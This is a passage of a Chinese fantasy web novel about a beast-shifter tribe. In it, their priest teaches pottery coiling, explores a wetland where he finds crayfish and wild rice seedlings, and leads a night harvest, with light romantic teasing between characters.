好不容易挑出杂质的黄泥可不能直接在地上捏,花时安让人拿了一摞簸箕过来,一人分一个。 簸箕编得密,里内平整光滑, 竹篾与竹篾之间几乎没有缝隙,用来充当“玩泥巴”的操作台再合适不过。 陶土备好,操作台摆好,可以开始动手制作了,但从未接触过陶器的族人两眼一抹黑,一个个瞪大眼睛盯着花时安,完全不知道该从哪里下手。 一个徒弟也是带,一群徒弟也是带,花时安手起刀落,割下一小团泥,放在簸箕里摔打揉搓,同时与族人讲解:“取多少泥取决于做什么容器,比如做个吃饭的小碗,取我手里这么大一团就够了。” “泥拿到手不要急着捏,先摔打再揉搓,挤出泥缝里的气泡,摸到硬邦邦的泥粒和石子也要及时挑出来,这样才能让泥土严丝合缝的黏在一起。” 说到这,花时安抬头朝众人扬了扬下巴,“你们也拿,一人拿一小团,跟着我的步骤来。” 话落,坐在花时安身旁的红映兰拿起石刀,在大泥团上划拉几刀,给在座族人分上一小团黄泥。几个小孩也分到了,一人巴掌大一团。 有样学样,“啪啪啪”的摔打声响彻营地,不多时,人们手中略显粗糙的泥团变得细腻而光滑,在太阳底下微微泛着光。 差不多行了,花时安在装水的石锅里浸湿手,将揉紧实的泥团搓成一个油光水滑的圆球。圆球放回簸箕里,底部轻轻压平,他一只手托着泥球,另一只手的拇指按着泥球正中心,慢慢地用力下压。 拇指摁中间,四指并拢来回刮蹭坯壁,他隔一会儿就要沾下水,手一直保持着湿润,所以当泥球变成椭圆形的泥窝头,四周坯壁连一丝裂痕也不曾出现。 营地逐渐安静下来,众人大气都不敢出,目不转睛地盯着花时安手中动作。看着他按压泥球,看着他转动簸箕摩挲泥坯……最终,泥球在花时安手中变成了一个上宽下窄,薄而轻盈的圆形泥碗。 碗坯并不完美,坯壁一边厚一边薄,极有可能在风干过程中变形,且表面残留着些许指纹,看起来不太美观,但第一次做就做出这般模样,花时安对自己的动手能力相当满意。 没在族人面前丢脸,泥碗胜在光滑轻薄,比起那些又厚又沉、坑坑洼洼的石碗,这种泥碗一看就很好用。 看起来好像并不难,花时安的轻松随意给了族人极大的自信,不等祭司大人发话,其他人也纷纷动了起来,搓泥球、捏泥碗。 一看就会,一做就废,好多人第一步就失败了,搓出来的泥球要么不圆,要么有裂纹,而好不容易搓出圆球的族人也在按压过程中陆续失败。 “不行啊祭司大人,我分明就是照着你的步骤来,可是怎么按都有裂纹,你要不帮我看看呢?”多次尝试均以失败告终,岩知乐一脸懊恼,求助般望向花时安。 坐在他旁边的红映兰也失败了,气鼓鼓地将黄泥揉成一团,“祭司大人你也帮我看看吧,泥球倒是搓出来了,一按就变形。” “这玩意儿看祭司大人最简单,自己动手还真难啊!”头发花白的青叔愁眉不展,盯着手中泥球直叹气。 花老师小课堂正式开课啦!花时安在旁边石锅里洗了个手,不紧不慢站起身,像老师巡视课堂一般,从“学生”背后走过,逐一指导: “泥里面有杂质,细心一点岩知乐,小泥粒没挑出来,当然怎么按都有裂纹。映兰你下手太重了,轻轻地,用指腹发力,别用指甲扣,搓好再试试。” “青叔你这太干了,沾水,手要保持湿润;你这个掉地上了吧,哪来这么多杂质?别嫌麻烦,挨个儿挑出来……” 细致活不累人,但磨人,特别费花时安。 功夫辜负了有心人,和煦的暖阳高悬苍穹,狩猎队与采集队背着黄泥、芦芽归来时,第一批陶坯非常勉强地做好了。 十多个人围坐空地上特别显眼,木族长老远就看见了他们。一早就听说今天要捏陶坯,木族长好奇得不行,回到营地连背篓都顾不上放,气喘吁吁地凑上前,忙不迭往里瞅。 “祭司大人在教你们捏陶坯吗,捏好了没,我看——” 话音戛然而止,看着众人身前的泥坯,木族长目光有一瞬间的呆滞,颤抖的嘴唇缓缓吐出几个字:“不是,这、这啥玩意儿?” 放在簸箕里的陶坯只用奇形怪状四个字来形容,高的矮的,圆的扁的,一边竖着一边塌陷的,还有整块黏在簸箕上的。 木族长看得眉头紧皱,指着陶坯的手微微颤抖,一脸不可置信地看向花时安,“祭司大人,这、这……就是你说的陶坯?你确定这些奇奇怪怪的东西能装水煮饭?” “什么样我看看。” “让我也瞅瞅。” 放下背篓,兽人、亚兽人一窝蜂似的凑了过来。透过人群看清簸箕里的陶坯,爆笑如雷鸣般炸响。 “哈哈哈哈哈,这什么东西?好奇怪的形状。” “姐,你面前那个是你做的吗?怎么一边高一边低啊,好丑!” “陶器真的长这样子吗祭司大人?看着好像不太能装水煮饭的样子。” “哈哈哈哈,笑死我了,真的好奇怪。” “到底是失败了还是真长这样?” “应该是失败了吧,你看祭司大人面前那个就不错。” …… 议论声、嘲笑声此起彼伏,参与捏制陶坯的族人闹了个大红脸,尴尬地低下头,只有花时安板着脸,瞪着嘲笑他们的人。 “差不多行了啊你们,很好笑吗?” 笑得最过分的几个兽人,花时安雨露均沾,一人瞪一眼,脸色一沉道:“万事开头难,捏制陶坯本就不易事,刚开始能做成这样已经很不错了。岩秋雨、巨明、长远森,你们三个笑得最起劲,要不坐下来试试?” “不、不了祭司大人,我错了。” “不笑了不笑了。” 巨明和长远森连忙摆手认错。 仗着和花时安熟,岩秋雨下巴一抬,嬉皮笑脸地看着他,“试试就试试,正好我也想跟着祭司大人干活。” 没等花时安开口,红勇似有不满地看了眼岩秋雨,唇缝中溢出一声冷笑,“挖泥不够累是吧?走了狩猎队,不歇了,直接去森林!” “别啊勇哥,我累!” “我还没喝水呢,歇会儿吧。” “都怪你岩秋雨!” 说破嘴皮子都没用,红勇坚决要走,于是在一片哀声怨道中,十多个兽人渐渐远去。 生怕叫自己也坐下试试,心虚的木族长摸了摸鼻头,转头朝采集队的亚兽人招手,“采集队把芦芽倒出来,背上背篓,我们也走,继续采去。” “不歇会儿吗族长。”花时安随口一问。 木族长脸色微变,干巴巴一笑,“不了不了,采芦芽不累,那一片还有可多,我们也得抓紧时间,下午还想去找找野菜呢。” 花时安:“那好吧,注意安全。” 木族长:“得嘞。” 两拨人匆匆归来,匆匆离去,营地又只剩下十多个人。 道阻且长呐,花时安扭了扭脖子,递给众人一个鼓励的神情,“继续,刚才教你们的方法可能有点难,现在我再教你们一种更简单的,适合做大件陶坯的法子。” 理论上来说,手捏成型法更简单,但并不适合小时候没怎么玩过泥巴,没有手工基础的族人。泥圈相叠法看起来复杂,实际只要按照步骤操作,把握好泥土的量,谁来了都能学会。 刚才捏的泥碗已经有点变形了,花时安索性一把将它揉烂,重新化为原料。摔打再揉搓,依旧将泥团搓成圆球,但这一次不仅是把底部压平,他直接用掌心按压泥球,反复调整修饰开裂的边缘,将泥球按成一张光滑的圆形泥饼。 再取一块泥,平均分成六个小块,旋即摁在簸箕里揉搓,搓成六根长短一致的泥条。泥条长度根据泥饼大小搓制,全部搓好后,花时安揪起一根泥条,沿着泥饼边缘叠上去,刚好能绕一圈。 简单是真的简单,泥条一圈一圈盘起来,逐层叠加。唯一麻烦的点在于,每叠一层都要用手指将接缝抹平,确保结构稳固与密封性,不然烧成陶器很有可能漏水。 一圈一圈又一圈,花时安又取了块泥,搓泥条,一层层往上叠。花了大半个小时,终于,一个比脑袋还大,口大底小的海碗叠制成型,稳稳坐在簸箕里。 从小到大,从简单到复杂,更多的黄泥也背回来了,不出意外这几天都得玩泥巴。花时安把簸箕往前一推,笑着看向众人,一本正经地胡扯:“都看清楚了吧,是不是比刚才那法子简单了许多?” “一人做一个,我的已经做好了,接下来到你们了。” 第68章 第 68 章 你们不是都亲嘴了吗?…… 泥圈相叠法果然更适合原始体质, 仅是短短三日,初见黄泥无从下手的族人俨然化身陶艺达人,小到盘子碗,大到陶锅水盆皆可驾驭, 捏坯的手法愈发娴熟, 速度也越来越快。 营地肉眼可见地缩小, 装着陶坯的簸箕密密麻麻,多得无处安放,火塘角落摆上一排,柴堆后方背风处堆上半圈,人们吃饭休息的树脚下也放着簸箕……真就哪哪都是。 防止落灰,防止陶坯被风吹倒, 每个簸箕上面还罩着一个体积更大的背篓,如此一来,营地变得更窄了,晚上吃饭都只能端着竹筒站着吃。 找到了制坯的乐趣,族人干劲十足,陶坯一天比一天多,而且这些湿坯至少要晾个十天半个月才能烧制, 再这样下去营地都堆不下了。 清早起来看到这乱糟糟的营地, 花时安头有点疼,站在火塘边琢磨片刻, 他困意散了大半, 扯着嗓子朝人堆那边大喊一声:“岩知乐、红映兰,你们过来一下!” 泥已经和好了,早起的族人围坐在空地,娴熟地捏着陶坯。听到花时安的声音, 岩知乐和红映兰齐齐站起身,手上黄泥都顾不上洗,匆匆跑上前。 “早啊祭司大人,你睡醒啦。”岩知乐元气满满,精神好得很,上来就笑嘻嘻地和花时安打招呼。 打招呼就打招呼,特意说一句睡醒了是什么意思? 睡过头的花时安有点敏感,不自觉地摸了摸鼻头,小声解释:“早,昨晚不知道怎么的,睡不着,早上一睁眼天就大亮了,起晚了些。” “没事,我们也刚起不久。”红映兰惯会察言观色,笑着打圆场,飞快地岔开话题:“祭司大人你叫我们什么事啊?” 一句话缓解了尴尬,花时安十分感激地朝红映兰笑了笑,接着她的话说起了正事:“陶坯越来越多,堆在营地里乱糟糟的,映兰,你等会儿带人把这些陶坯搬一下,搬到草地上晒太阳去。” “搬到草地晒太阳?”红映兰愣了一瞬,“可那天你不是说,湿坯直接放到太阳底下晒,容易晒出裂纹吗?” 陶土没有经过纯度筛选,杂质含量较高,做出来的陶坯比较脆弱。为避免坯壁出现裂纹,他们选择了温柔的干燥方式,慢慢阴干。 话确实是花时安说的,但那只适用于三天前,花时安就近掀开一个背篓,指着簸箕里微微发白、表面已然干燥的瓶瓶罐罐道:“刚做出来的那叫湿坯,像这种晾了两三天,表面已经干燥、定型的陶坯就不怕太阳了。” “春天的太阳还算温和,你们刚做好的先放在营地晾,晾到半干的就搬去草地晒。这样能干得快一点,也能把营地稍微收拾一下,不然再过几天没地方煮饭了。” 红映兰听得认真,郑重点下头,“我记下了祭司大人。” 不论阴干还是风干、晒干,陶坯都有可能出现裂纹,避免不了。裂纹较大较深直接回炉重造,裂缝较浅还可以抢救一下。 昨天教过他们如何补缝,花时安怕他们忘了,又问了一嘴。得到红映兰肯定的答复,他也就彻底放心了。 营地实在太乱,花时安怎么看怎么不顺眼,沉吟片刻他又将目光转向堆成小山的泥堆,继续嘱咐道:“等兽人回来,让他们在草地上挖个大坑,把那些泥也搬过去,堆在营地太碍事了,万一下雨会很麻烦。” “捏陶坯……也搬去草地捏吧,映兰你带着他们,再弄个四五天就差不多行了,现在也不知道烧出来到底能不能成,也许还要看情况调整。” “行。”红映兰转头看向捏制陶坯的人群,想了想又补充道:“先把和好的黄泥用完吧,用完我就带着他们搬。” 花时安:“嗯,你看着安排。” 分明叫他们两个过来,但每个字都是对红映兰说的。 岩知乐似有不满地鼓着腮帮子,开口为自己找点存在感:“祭司大人,听你刚才那话,你不和我们一起捏陶坯了吗?你又要去干嘛?” 花时安转头看了他一眼,唇缝中溢出一声轻笑,“不是我不跟你们一起,是我们俩不跟他们一起,走吧岩知乐,今天跟我干。” 平常一叫屁颠屁颠就来了,今天岩知乐似乎有点不情愿,他嘴巴一下就瘪下去了,语气闷闷道:“去哪儿做什么呀?我捏陶坯捏得好好的,不是很想——” “我想去!” 拒绝的话还没说完,红映兰着急忙慌地自荐,眼底兴奋不加掩饰,“祭司大人我去!让岩知乐带他们捏陶坯。” “你干嘛呀,我还没说完话!”刚才还极不情愿的岩知乐忽然上前半步,像个争宠的孩子,挡在花时安和红映兰中间。 虽然确实想留在部落捏陶坯,但岩知乐知道,红映兰比他聪明,比他勤快,要是让祭司大人带她出门,往后自己就彻底失宠了。 所以,坚决不能让! 岩知乐抓着花时安的胳膊,撒娇似的左摇右晃,“祭司大人你听我说,我刚才想说不是很想捏陶坯,我要跟着你干活,干什么都行!” “岩知乐你好烦!”红映兰面色不虞地瞪着他。 两个人都想去,又到了二选一的环节,但完全不用纠结,花时安拍开岩知乐沾满泥土的手,不好意思地朝红映兰笑了笑,“下次吧,主要部落要留个人看着,岩知乐不太靠谱,他留下我不放心。” “对对对。” 岩知乐一点儿也不恼,猛猛点头附和。 祭司大人这是拐着弯夸她靠谱呢,红映兰抿唇一笑,“那、那好吧,祭司大人你们路上小心。” 时间不早了,告别亚兽人,花时安和岩知乐背着背篓、锄头,踩着和煦的暖阳走向草地,再沿着田埂走向下游。 出门了,祭司大人没办法反悔了,岩知乐又放飞自我了。 赶路无聊,他寻思找点话说,不知怎么的就想到上次在树洞瞅见那事儿,偷偷摸摸瞄了花时安一眼,“祭司大人,你和傻大个吵架了?” 莫名其妙来一句,花时安一头雾水,“没有啊。” “你这是……后悔了?”岩知乐又问。 “后悔什么?”花时安疑惑地皱起了眉头,“你说话能不能从头开始说?” 岩知乐恍若未闻:“那你为什么还不搬去和他一块住?” 喜欢问是吧,花时安也问:“我为什么要搬去和他住?” 岩知乐不以为意,把花时安的问题当作回答,扯着他那大嗓门:“上次我看见了呀,你们不是都亲嘴了吗?” 像是用尽全力吼出来的一嗓子,尾音在河面一层层荡开, 花时安脚下步子猛地一顿,紧咬后槽牙,眼神复杂地瞪着他,“岩知乐,我耳朵好使,这种话用不着这么大声。其次,我们没有亲嘴,不要乱造谣好吗?这事儿你还跟谁说了?” 不在乎旁人怎么看自己,但私事被人拿去到处乱说,花时安还是有点介意。 “没跟人说过,可我也没造谣。”岩知乐瘪了瘪嘴,“你别不好意思,上次我可是看得一清二楚,你们嘴巴都贴在一起了!” 花时安气笑了,“你哪眼睛看见的?” 岩知乐抬手撑开自己的眼皮子,瞪大眼睛,“两只啊。” 不是很想继续这个话题,但有必要解释一下。花时安迈开步子继续往前走,握拳抵唇轻咳了一声,“你看错了,我们就只是抱了一下,没——” “别想骗我,抱一下脸挨那么近做什么?” “他和我说话。” 岩知乐:“你耳朵又不是不好使,贴那么近才能说话?” 花时安:…… 算了,懒得解释了,花时安两手一摊,彻底摆烂,“好好好,亲了亲了,那又怎么样嘛。” “不怎么样,”岩知乐耸了耸肩,一本正经道:“只有伴侣之间才会亲嘴巴,所以我才问你啊,你们什么时候搬到一块住?” 河中传来“扑通”一声响,花时安转头望去时,跃出水面的鱼儿又重新没入水中,剩下一圈涟漪层层叠叠扩散开。 可以不回答的,但花时安莫名想回答,他望着渐渐归于平静的河面,嘴角微微扬起,“快了,到时候给你们煮好吃的。” “真的?好哇好哇!”岩知乐兴奋地手舞足蹈。 随口一问居然能讨到好处,岩知乐更来劲了,没走出几步又开始问:“祭司大人,和兽人亲嘴巴是什么感觉呀?舒不舒服啊?” 我勒个语出惊人,花时安被自己的口水呛到,拍着胸口咳了好一阵。好不容易缓过劲,没来得及开口,岩知乐又嘀嘀咕咕地说:“亲嘴巴应该还好,不会难受,我可听说了,和兽人睡觉会——” “行了岩知乐,闭嘴!” 不知咳的还是羞的,花时安一张脸涨得通红,耳尖也染上了异样的绯色,宛如一颗完全成熟的蜜桃,整个人白里透红。 岩知乐未发现异样,还想再挣扎一下,“为什——” “哪那么多问题,不许说话。” “别啊,不说话多无——” “闭嘴,别再让我说第三遍。” “哎呀我错了祭司大人,不聊这个了嘛,”岩知乐实在学不会闭嘴,赶忙岔开话题以表决心,“我就想问问,我们到底要去哪里?你还没告诉我,我们去做什么呢。” 花时安:“去下游湿地,他们之前挖黄泥那边转转。” “湿地有什么好转的?”岩知乐没去过湿地,倒是听亚兽人提起过,感觉那边除了泥巴就是芦苇。 好似猜到他心中所想,花时安耐着性子解释:“不止泥巴和芦苇,那片湿地很大,不是一般的大,里面一定生长着很多喜水植物。转一转,找一找,拓宽我们的食谱,要不是为了捏陶坯,我才不会等到现在。” 岩知乐一听来劲了,“走走走,我们走快点。” 第69章 第 69 章 小龙虾 泥路湿滑难行, 拿着锄头探路,一步一个脚印地往前走,磨蹭了十几二十分钟,花时安一回头, 芦苇荡仍在身后不远处。 太慢太不效率了, 照这个速度下去, 三天三夜都逛不完湿地,花时安捏着下巴琢磨片刻,把锄头往肩膀上一抗,果断掉头往回走。 重新回到芦苇荡,花时安取下背篓,连同锄头一并丢进了茂密的芦苇丛。 岩知乐不明所以, 正寻思自己要不要照做,下一瞬,高挑纤瘦的黑发青年消失不见,一只脑袋圆圆的,腮帮子鼓鼓的棕毛花栗鼠取而代之。 比所有松鼠体型都要小,棕灰相间的花栗鼠与地面湿泥融为一体,又黑又亮的眼睛如同深邃的黑曜石。缩小版棕衣棕裙格外贴身, 根根分明的绒毛从衣缝中探出来, 随风晃动,滑稽中带着一丝俏皮可爱。 小小一只, 好可爱。 不是第一次见了, 岩知乐却还是看呆了。 这一刻,花时安不再是高高在上,人人敬仰的祭司大人,他是一只花栗鼠, 柔软娇小,需要人保护的花栗鼠。 “吱——” 一声鸣叫唤回了思绪,岩知乐眼睛重新聚焦,见花栗鼠后腿着地,像人一样站立起来了,两只前爪还在半空中不停比划。 正常人肯定看不懂他想表达什么,但岩知乐又不是正常人,他有样学样,将背篓、锄头丢进芦苇丛,啪叽一下变成一只灰扑扑的岩松鼠。 花栗鼠领头,岩松鼠紧随其后,身姿轻盈,步伐矫健的小松鼠“嗖嗖”地蹿了出去,在泥泞不堪,长着杂草的湿地里急速穿行,如履平地。 兽形小而轻盈,跑起来更快,还不用担心误入沼泽地。先用兽形进行探索,找到有用的再变回人形采摘,嗯,非常完美的计划。 唯一麻烦的点在于……湿泥有点多,容易糊爪子。 跑出一段距离花时安就得甩甩爪子,不然沉得抬不起来,但这一甩,泥点子又沾毛上了,路没走多远,给自己整一身泥,弄得格外狼狈。 好在不是没有收获,两只泥鼠从右侧开始探索,走走停停,树丛里钻进钻出,没多久便在湿地深处找到一片蓄着水的凹地。 走近一看,凹地好似旱季几近干涸的池塘,水浅而清澈,目测不到半米,隐约可见水底厚厚的淤泥。怕是沼泽地,花时安本来不是很想靠近,但水面上绿油油的水生植物尤为瞩目,瞅一眼就走不动道了。 时隔多日,青翠欲滴的荷叶完全舒展开,宛如一个个碧绿的玉盘,层层叠叠铺展在水面上,随微风轻轻摇曳。 并非莲一家独大,荷叶之下还长着另一种植物,它叶片呈菱形,贴着水面生长,一丛接一丛,密密麻麻,乍一看很像繁殖速度极快,除之不尽的水葫芦。 不过一片春意盎然的绿色中,夹杂着星星点点的白,像是颜料洒进了绿色池塘,又像是蝴蝶被绿叶吸引,心甘情愿地留在了绿叶丛。 黄蕊白花,菱形叶片,这不是水葫芦,这是菱,果实成熟后很像水牛角的菱角,又叫水中落花生,可以吃,甚至非常好吃。 馋了,花栗鼠舔了舔小嘴巴,但并没有下去一探究竟的打算,他扭头朝旁边“吱”了一声,与岩松鼠踩着湿地边缘往里走,继续深入探索。 菱角和莲藕,这个季节都还没有成熟,下去找也找不到东西。挖点回去栽种倒是可行,但部落如今没有池塘,想种也没地方。 留下自然生长,就当养在后院了,成熟再来采摘也不迟。 像是经历了一场局部特大暴雨,凹地周围全是积水。 路更难走了,一脚一个坑,拔萝卜似的从泥水里拔出爪子,但刚才的发现给花时安打了鸡血,他速度不减反快,肆意在丛林间奔跑。 然而刚把速度提起来,还未跑出凹地范围,只听吱的一声,短促而尖锐的嘶鸣划破寂静从身后传来,花栗鼠前爪前撑紧急刹停,猛地回头一看,跟着身后的岩松鼠不见了。 人呢?!花时安心里“咯噔”一声,一颗心瞬间提到嗓子眼,着急忙慌地掉头往回跑。 约莫一分钟,往回跑了四五棵树,花时安在来时路上的一个泥坑里看到了岩松鼠,一个浑身是泥,倒在泥坑里打滚的岩松鼠。 像是被什么东西咬了,惊慌失措的岩松鼠吱哇乱叫,疯狂打滚,拼命挣扎。泥坑里的水被搅浑了,别说看清是什么东西,就连岩松鼠都快看不见了,只剩黄灿灿的泥水四散飞溅。 气温回升,这种湿地很可能有蛇,花时安一刻不敢耽搁,四条腿甩出残影,匆匆跑上前。 抵达泥坑边上时,花时安已然变回人形,他毫不犹豫地伸出手,在泥坑里一捞,将极度惊慌的岩松鼠整个人拎着出来。 岩松鼠变成了泥松鼠,眼睛鼻子都看不见在哪,握在手里还在流黄汤,但拔出萝卜带出泥,挂在他右爪上面的节肢动物自是一览无余。 有壳,带钳子,四指宽一只,花时安第一眼以为是蝎子,但抹开泥水仔细一瞧,红色的,头胸部较粗大,体型呈粗圆筒状,花时安瞳孔骤然一缩,这不小龙虾吗! “嘶。” 手掌被猛地踢了一下,花时安疼得倒吸一口凉气。 岩松鼠吓坏了,把他的手也当成了敌人,一顿胡蹬乱踢,使出浑身解数挣扎。花时安又气又好笑,抓着龙虾的钳子试图帮他掰开。 钳子夹得紧,岩松鼠又不配合,折腾半晌钳子没掰开,花时安收获了一脸的泥水。 慌乱让人失去理智,差点忘了他内里也是个人,花时安松开龙虾钳子,拍了拍岩松鼠的脑袋,轻声安抚:“没事了没事了,你别着急,一只小虫子而已。别光挣扎,你是个人,先变回人形。” 话落,拼命挣扎的岩松鼠突然僵住,似乎终于想起自己还能变回人形,他睁开眼睛瞅了眼花时安,唇缝中溢出一声有气无力地呜鸣,示意花时安将他放下。 误打误撞看懂了他的意思,花时安将他放回地面,眼瞅着泥鼠变成泥人。龙虾钳子依旧没有松开,刚才在哪现在还是在哪,紧紧夹着他的右手食指。 “祭司大人呜呜呜,我的爪,我的手。” 挣扎用了太多力气,岩知乐躺在泥地里,半天坐不起来。挂着龙虾的右手悬在半空中,他瘪着嘴猛吸鼻子,怎么看怎么可怜。 脸上全是泥水,看不清神情,听声音像是哭了。 花时安的心一下子揪了起来,上前两步将人扶起来,旋即坐在他身旁,环着肩膀将他搂在怀里,“不怕不怕,我在呢,手给我,你别乱动,我现在帮你掰开。” 岩知乐闷闷地“嗯”了一声,把手递给花时安,脑袋微微一偏,顺势靠在他肩膀上。 不乱动就好办多了,花时安捏着虾钳上下两端用力一掰,只听“咔嚓”一声,蟹钳直接掰成了两半,亚兽被钳住的食指得救了。 龙虾个头大,力气不小,亚兽被夹的食指留下一道锯齿状的红痕,略微有些肿。花时安逮住罪魁祸首,干脆利落地掰掉两个大钳子,旋即捏着岩知乐的食指,呼呼地吹了两下。 “好啦好啦,取下来了,不疼了啊。” 温润的嗓音如微风拂过耳畔,单薄的身体却有着无比温暖的怀抱,岩知乐已经冷静下来了,但脑袋有点不受控制,可劲儿往花时安怀里拱,“祭司大人,我刚刚吓死了,跑着跑着突然被咬到了爪子,我还以为、我还以为……要死掉了。” “没事没事,坏龙虾被我掰断了钳子,以后再也不能夹人了,你看看。” 本意为安抚,花时安摊开手把龙虾举到岩知乐面前,谁料第一次看到这种的节肢动物,岩知乐脸色大变,用尽全力从花时安怀中挣脱出来,整个人拔地而起,踉跄后退拉开距离。 真就跟见了鬼似的,他指着狰狞可怖的龙虾,一脸惊恐,手和嘴唇颤抖个不停,“这、这什么鬼东西?刚刚咬我的就是这个?完了完了,颜色鲜艳的虫子一看就有毒,我是不是要死了?祭司大人你快丢掉,丢——” “冷静,冷静一点。”花时安揉了揉眉心,忍不住笑了一声,“别那么紧张,祭司大人又不是傻子,当然是认识才敢拿在手里。” “这个呀,叫小龙虾,刚刚不是咬你,是用它那大钳子夹的你。别看它长得丑,不仅没有毒,还能吃,非常好吃非常香。” “吃?”岩知乐眉头紧皱,浑身汗毛都在抗拒,“不不不不了吧,部落现在不缺食物了,我、我不想吃虫子,祭司大人你还是丢掉吧。” “丢远一点。”他小声补充。 丢是不可能丢的,难得找到的美食,不仅不能丢,甚至还要去找。小龙虾也属于群居动物,有一只就会有很多只,要是能多抓一点…… 蒜蓉小龙虾、麻辣小龙虾、清蒸小龙虾,花时安馋了。 当务之急是安抚好亚兽人,花时安把龙虾背在身后,一本正经与岩知乐胡诌:“龙虾其实不算虫子,刚刚情急之下我随口说的,龙虾算是一种水生物,和河里的鱼、小河虾是一样的,你要不再仔细看看?” “不了不了,我不看。”岩知乐脑袋摇得飞快。 花时安试探着道:“那我找点树叶把它包起来?看不见就不害怕。” 岩知乐小鸡啄米似的点点头,算是妥协。 四周树木稀疏,且生长较高,根本摘不到树叶。 花时安四下环望一圈,走到不远处草丛随手薅了一把青草。可就是这一把,他整个人忽然呆住,不舍得丢的龙虾“啪嗒”掉落在地,反将一把杂草视若珍宝。 泥土湿软,杂草连根拔起,一把不起眼的杂草中,有两根草的根须特别长,白而嫩,与蒜苗的根须有些许相似。根须长,茎干细长,叶片翠绿,表面较为粗糙,长有细小的绒毛。 这是—— 花时安指尖轻轻拂过叶片,手抖得厉害,心脏“扑通扑通”狂跳,差点从喉咙里蹦出来。 禾苗。 他心心念念,日思夜想的水稻幼苗! 第70章 第 70 章 栽秧 “我找到了, 找到祭司大人说的禾苗了!” “是这个吗?怎么看都和野草一样。” “这,这还有一大丛,快点把背篓拿过来。” “来了来了!哇,好大一片, 一背篓估计都装不完。” “月月姐, 我们这里还要两个背篓!” “知道了。你们几个说话声音尽量小点, 祭司大人和狩猎队在那边抓小龙虾呢,要保持安静,别把小龙虾给吓跑了。” “好哦好哦,我们小声点。” …… 夕阳余晖散尽,藏在森林深处的湿地被浓厚的夜雾笼罩。 天黑了,该回家休息了, 但此时此刻,本应在营地里享用美食、放松休息的兽人亚兽人才刚出门,摸黑在泥泞中穿梭,正进行着部落的首次夜间探索。 亚兽人三两一组,拎着背篓在凹地四周打转,一步一个深深的脚印。 杂草和禾苗共生,他们的目标正是湿地里毫不起眼, 一簇一簇肆意生长, 绿茵茵的草丛。 良好的夜视能力能让他们在黑暗中轻松找到长禾苗的草丛,整丛连根拔起, 杂草丢弃不要, 小心翼翼给禾苗根部裹上一层湿泥,整齐放进背篓。 凹地右前方树林中,十多个人高马大的兽人四散开来,各自拎着背篓在黑暗中搜寻。他们动作很轻, 走路几乎没有声音,可奇怪的是,森林中依旧充斥着一阵窸窸窣窣的异响。 月光漫过淤泥,漫过腐烂的落叶堆,乌漆麻黑的湿地忽然涌起一片暗红色浪潮。昼伏夜出的龙虾在夜幕中苏醒,破开淤泥倾巢而出。 数以千计的虾群宛如一支威风凛凛的军队,螯钳在地面划出一道道蜿蜒的银痕,它们堆叠着攀上倒伏的枯木,钻进腐叶堆,甲壳摩擦的脆响与气泡破裂的咕嘟声交织,整片湿地瞬间沸腾起来。 太夸张了,密密麻麻的龙虾很快便将湿地占领,它们也不怕人,大摇大摆地从身旁走过,压根没把闯入领地的外来者放在眼里。 都撞到脚了,这能忍?花时安再也忍不住了,忙地从背篓里掏出事先准备好的竹夹,压低嗓音呼唤其他人:“抓,赶紧抓,记得用竹夹,别直接上手!” 这话为本就沸腾的湿地又添了一把火,霎时,蓄势待发的兽人齐齐行动起来,握着竹夹快准狠地袭向地面,一夹一只张牙舞爪的大龙虾。 这和捡钱有什么区别?花时安激动坏了,夹起龙虾唰唰地往背篓里丢,融入夜色的眼眸里漾着难以掩饰的兴奋与喜悦。 两日前和岩知乐在这一带找到龙虾洞,花时安一瞅就知道这里有很多龙虾,为此特意砍竹子做竹夹,并说服族长晚上来抓。 龙虾是典型的夜行动物,昼伏夜出,白天来了只能挖洞,太麻烦,晚上来了都不叫抓,直接捡。但眼前这个场面,花时安属实没想到,他做梦都不敢这么梦,龙虾完全泛滥成灾了,不枉费他提前做准备,还跟木族长磨了两天嘴皮子。 再说回部落,兽人们勤勤恳恳翻了两天的地,五块水田于今天下午完工,所以采集队也跟着来了,长势大好的禾苗拔回去,明天便可下地栽秧。 美味可口的龙虾,能长出稻谷的禾苗,这片湿地可真是块宝地!花时安心情大好,站在湿地里就没挪过脚,背篓里的龙虾却越来越多。 第一次见到这种狰狞的节肢动物,兽人刚开始还有点嫌弃,放不开手脚来抓。可能是花时安画的饼比较大,也可能是花时安的激动感染到了他们,他们抓着抓着就适应了,同时胜负欲也被激了起来,开始比谁抓得多,比谁抓得快。 凡是和比赛沾上边,性质就变了。 用竹夹捡不过瘾,岩秋雨直接用手在地上捧,反正他皮糙肉厚,满手老茧,被螯钳夹两下也不觉得痛。 巨明、长远森等人有样学样,猛猛往背篓里捧龙虾,速度一个比一个快,而红勇不屑于学他们,直接把背篓打横放倒在地上,一边往前推,一边往背篓里刨龙虾。 要不人家能当队长呢,头脑好使,一会儿就是一背篓。 当然这样抓也有坏处,那些没多少肉的小卡拉米也被收进了背篓里,但花时安没有阻止他们,劳累一天晚上还要加班,自娱自乐就当放松了,大不了回头把小的选出来,反正今晚带的背篓多。 先抓,抓就完事儿了! * 在湿地里抓龙虾甚是有趣,花时安从中体会到了赶海的乐趣,哪怕折腾到深更半夜,又累又困,眼睛都睁不开了,兴奋依然大过于疲惫。 困迷糊了,具体抓了多少龙虾花时安也记不清楚,总之部落能用的背篓全部用完了,不是装禾苗就是装龙虾。 抓的时候有趣,往回背的时候就遭罪了,湿地离部落远,绕是身强力壮的兽人全速前行,来回也需花费两个钟头左右。 一趟一趟地跑,一背篓一背篓地往回背,胜在人多,但禾苗、龙虾全部背回部落,所有族人一个不落地回到营地时,天已经快亮了。 出门之前想过会抓到很多龙虾,担心龙虾死掉腥味重,影响口感,花时安特意让人收拾了一个树洞出来。树洞里洒点水,龙虾丢进去养个几天不成问题,不过龙虾和兔子一样会打洞,为此他们特意在地上铺了一层竹片,防止龙虾逃跑。 龙虾倒进树洞中,禾苗留在背篓里,兴奋过后困意袭来,众人拖着疲惫的身躯匆匆走到河边,洗脸、洗澡,回树洞睡大觉。 活了两辈子就没怎么熬过通宵,花时安困麻了,人都困迷糊了。洗完澡回到树洞,往床上一躺,他感觉有人在他后脑勺上敲了一闷棍,眼前一黑,接着便彻底失去意识。 麻辣鲜香的小龙虾吸饱汤汁,吃虾前先嗦上一口,浓郁而刺激的麻辣味瞬间激活味蕾。拧掉虾头,剥开外壳,Q弹紧实的虾肉送到嘴边,马上就吃到了,突然—— “祭司大人,祭司大人你醒醒!” 竹门被敲的“哐哐”作响,亚兽人的呼喊声震耳欲聋,都快喂到嘴里的虾肉消失不见,睡梦中的花时安咽了咽口水,迷迷糊糊睁开眼。 阳光透过竹门缝隙洒了进来,显然,时间已经来到正午。 